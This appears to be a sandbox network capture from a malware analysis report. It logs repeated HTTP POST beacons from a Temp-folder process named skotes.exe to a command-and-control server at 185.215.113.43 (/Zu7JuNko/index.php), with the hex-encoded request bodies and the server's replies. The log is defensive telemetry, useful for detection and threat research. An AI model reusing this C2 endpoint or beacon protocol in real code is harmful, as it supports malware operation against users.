Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50216	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:39.033118963 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:31:40.413014889 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50217	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:42.151489973 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:31:43.499206066 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50218	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:45.149338007 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:31:46.503678083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50219	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:48.246331930 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:31:49.607398987 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50221	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:51.244154930 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:31:52.596086025 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50222	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:54.398772955 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:31:55.732224941 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50223	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:57.364774942 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:31:58.737557888 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50224	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:00.484395981 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:32:01.832724094 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50225	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:03.460813999 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:32:04.810316086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50226	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:06.558404922 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:32:07.906423092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50227	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:09.537549973 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:32:10.900227070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50228	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:12.636567116 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:32:13.980570078 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50229	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:15.611073971 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:32:17.086385965 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50230	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:18.827343941 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:32:20.188524961 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50231	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:21.827677965 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:32:23.182393074 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50232	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:24.923420906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:32:26.268714905 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50234	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:27.900320053 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:32:29.251760006 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50235	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:31.003889084 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:32:32.363955021 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50236	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:34.002670050 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:32:35.350487947 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50237	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:37.110115051 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:32:38.448965073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50238	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:40.089721918 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:32:41.446551085 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50239	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:43.184854984 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:32:44.515150070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50244	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:46.145204067 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:32:47.532072067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50245	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

